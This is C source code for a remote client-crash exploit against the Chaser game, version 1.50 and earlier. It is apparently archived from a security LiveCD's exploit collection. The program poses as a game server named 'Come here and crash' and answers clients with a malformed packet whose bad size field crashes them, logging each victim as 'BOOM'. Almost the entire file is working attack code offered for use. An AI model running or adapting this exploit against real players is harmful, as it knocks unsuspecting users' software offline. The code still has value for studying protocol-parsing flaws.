home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / chaser / chaser-client.c < prev   
C/C++ Source or Header  |  2005-02-12  |  6KB  |  252 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. UNIX & WIN VERSION
  6. */
  7.  
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include "chaser_crc.h"
  13.  
  14. #ifdef WIN32
  15.     #include <malloc.h>
  16.     #include <winsock.h>
  17.     #include "winerr.h"
  18.  
  19.     #define close   closesocket
  20.     DWORD   tid1;
  21.     HANDLE  thandle;
  22. #else
  23.     #include <unistd.h>
  24.     #include <sys/socket.h>
  25.     #include <sys/types.h>
  26.     #include <arpa/inet.h>
  27.     #include <netdb.h>
  28.     #include <pthread.h>
  29.  
  30.     pthread_t tid1;
  31.     int     thandle;
  32. #endif
  33.  
  34.  
  35.  
  36.  
  37.  
  38. #define VER     "0.1"
  39. #define BUFFSZ  2048
  40. #define PORT    3000
  41. #define LANPORT 8778
  42. #define CHASER  "chaser"    /* use "chaserd" to test the demo */
  43. #define INFO    "\\hostname\\Come here and crash" \
  44.                 "\\gamever\\1.500" \
  45.                 "\\gamename\\" CHASER \
  46.                 "\\hostport\\3000" \
  47.                 "\\mapname\\Pandora II" \
  48.                 "\\gametype\\DM" \
  49.                 "\\numplayers\\3" \
  50.                 "\\maxplayers\\6" \
  51.                 "\\gamemode\\openplaying" \
  52.                 "\\password\\0" \
  53.                 "\\player_0\\go_down" \
  54.                 "\\player_1\\DoS" \
  55.                 "\\player_2\\Mr.crash" \
  56.                 "\\score_0\\2" \
  57.                 "\\score_1\\4" \
  58.                 "\\score_2\\5" \
  59.                 "\\ping_0\\15" \
  60.                 "\\ping_1\\271" \
  61.                 "\\ping_2\\175" \
  62.                 "\\team_0\\0" \
  63.                 "\\team_1\\0" \
  64.                 "\\team_2\\0" \
  65.                 "\\final\\" \
  66.                 "\\queryid\\1.1"
  67.  
  68.  
  69.  
  70.  
  71.  
  72. #ifdef WIN32
  73.     static DWORD WINAPI infoz(void *null);
  74. #else
  75.     static void *infoz(void *null);
  76. #endif
  77. void std_err(void);
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84. int main(int argc, char *argv[]) {
  85.     int         sd,
  86.                 err,
  87.                 on = 1,
  88.                 psz;
  89.     struct  sockaddr_in peer;
  90.     u_char      *buff,
  91.                 pck[] =
  92.                 "\x00"
  93.                 "\x00\x00"      // checksum
  94.                 "\x00\x00\xFF"
  95.                 "\xff\xff"      // <--- packet size BUG
  96.                 "\x00\x00\x00\x00\x00\x00";
  97.  
  98.     setbuf(stdout, NULL);
  99.  
  100.     fputs("\n"
  101.         "Chaser <= 1.50 remote client crash (both LAN and Internet) "VER"\n"
  102.         "by Luigi Auriemma\n"
  103.         "e-mail: aluigi@altervista.org\n"
  104.         "web:    http://aluigi.altervista.org\n"
  105.         "\n", stdout);
  106.  
  107. #ifdef WIN32
  108.     WSADATA    wsadata;
  109.     WSAStartup(MAKEWORD(1,0), &wsadata);
  110. #endif
  111.  
  112.     peer.sin_addr.s_addr = INADDR_ANY;
  113.     peer.sin_port        = htons(PORT);
  114.     peer.sin_family      = AF_INET;
  115.     psz                  = sizeof(peer);
  116.  
  117.     printf("Binding UDP port %u\n", PORT);
  118.  
  119.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  120.     if(sd < 0) std_err();
  121.  
  122.     err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
  123.     if(err < 0) std_err();
  124.     err = bind(sd, (struct sockaddr *)&peer, psz);
  125.     if(err < 0) std_err();
  126.  
  127.  
  128. #ifdef WIN32
  129.     thandle = CreateThread(NULL, 0, infoz, 0, 0, &tid1);
  130.     if(!thandle) {
  131. #else
  132.     thandle= pthread_create(&tid1, NULL, infoz, NULL);
  133.     if(thandle != 0) {
  134. #endif
  135.         fputs("\nError: Cannot create the thread\n", stdout);
  136.         exit(1);
  137.     }
  138.  
  139.  
  140.     buff = malloc(BUFFSZ);
  141.     if(!buff) std_err();
  142.  
  143.     *(u_short *)(pck + 1) = chaser_crc(pck + 3, sizeof(pck) - 4);
  144.  
  145.     fputs("\nClients:\n", stdout);
  146.  
  147.     while(1) {
  148.         err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
  149.         if(err < 0) std_err();
  150.  
  151.         if(*buff == '\\') {     /* information query */
  152.             printf("info      %s:%hu\n",
  153.                 inet_ntoa(peer.sin_addr), htons(peer.sin_port));
  154.  
  155.             err = sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, psz);
  156.             if(err < 0) std_err();
  157.             continue;
  158.         }
  159.  
  160.         printf("BOOM      %s:%hu\n",
  161.             inet_ntoa(peer.sin_addr), htons(peer.sin_port));
  162.  
  163.         err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz);
  164.         if(err < 0) std_err();
  165.     }
  166.  
  167.     close(sd);
  168.     return(0);
  169. }
  170.  
  171.  
  172.  
  173.  
  174.  
  175. #ifdef WIN32
  176.     static DWORD WINAPI infoz(void *null) {
  177. #else
  178.     static void *infoz(void *null) {
  179. #endif
  180.     int     sd,
  181.             err,
  182.             on = 1,
  183.             psz;
  184.     u_char  *buff,
  185.             pck[] = /* modify it if you want, it is simple */
  186.         "\x00\x00\x00\x00\x00"
  187.         "hostname\0"    "Come here and crash\0"
  188.         "gamever\0"     "1.500\0"
  189.         "gamename\0"    CHASER"\0"
  190.         "hostport\0"    "3000\0"
  191.         "mapname\0"     "Building Site\0"
  192.         "gametype\0"    "DM\0"
  193.         "numplayers\0"  "1\0"
  194.         "maxplayers\0"  "8\0"
  195.         "gamemode\0"    "openplaying\0"
  196.         "password\0"    "0\0"
  197.         "\0" "\0"
  198.         "\x01"
  199.         "player_\0" "score_\0"  "ping_\0"   "team_\0"   "\0"
  200.         "0\0"       "0\0"       "17\0"      "0\0"
  201.         "\x01\x00";
  202.     struct  sockaddr_in peer;
  203.  
  204.     peer.sin_addr.s_addr = INADDR_ANY;
  205.     peer.sin_port        = htons(LANPORT);
  206.     peer.sin_family      = AF_INET;
  207.     psz                  = sizeof(peer);
  208.  
  209.     printf("Binding information UDP port %u (used only in LAN)\n", LANPORT);
  210.  
  211.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  212.     if(sd < 0) std_err();
  213.  
  214.     err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
  215.     if(err < 0) std_err();
  216.     err = bind(sd, (struct sockaddr *)&peer, psz);
  217.     if(err < 0) std_err();
  218.  
  219.     *(u_short *)(pck + 1) = chaser_crc(pck + 3, sizeof(pck) - 4);
  220.  
  221.     buff = alloca(BUFFSZ);
  222.     if(!buff) std_err();
  223.  
  224.     while(1) {
  225.         err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
  226.         if(err < 0) std_err();
  227.  
  228.         printf("infoLAN   %s:%hu\n",
  229.             inet_ntoa(peer.sin_addr), htons(peer.sin_port));
  230.  
  231.         err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz);
  232.         if(err < 0) std_err();
  233.     }
  234.  
  235.     return(0);
  236. }
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243. #ifndef WIN32
  244.     void std_err(void) {
  245.         perror("\nError");
  246.         exit(1);
  247.     }
  248. #endif
  249.  
  250.  
  251.  
  252.